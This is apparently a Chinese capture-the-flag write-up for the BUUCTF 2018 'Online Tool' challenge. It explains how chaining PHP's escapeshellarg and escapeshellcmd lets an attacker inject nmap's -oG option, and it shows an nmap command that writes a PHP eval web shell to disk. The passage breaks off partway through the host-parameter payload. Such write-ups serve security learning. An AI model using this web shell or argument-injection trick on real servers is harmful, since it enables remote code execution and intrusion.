[BUUCTF 2018]Online Tool PHP代码审计
题目一开始的一段代码
这里的知识点是nmap -oG 可以写入文件
例如: nmap <?php eval($_POST['cmd']); ?> -oG 1.php
这里是host传参,但是不能直接写入,因为前面有两个函数过滤单引号之类的特殊字符
escapeshellarg的用处是有单引号就会在前面加个\转义,并且将两边的字符用单引号括起来,例如:
$host = "a'";
escapeshellarg($host);
echo $host;
输出 'a'\'''
\'是转义单引号
escapeshellcmd与上面的函数有所不同,它只会将不成对的单引号或\前加
例如:
上面输出的字符 'a'\'''
$host = "'a'\'''";
escapeshellcmd($host);
echo $host;
输出 'a'\\''\'
单个\所以前面再加个\,前面两个'把a闭合了'a' ,后面''闭合了,只剩最
后面一个单着的单引号,所以前面加一个\
所以我们再host参数是变成
?host='<?php ev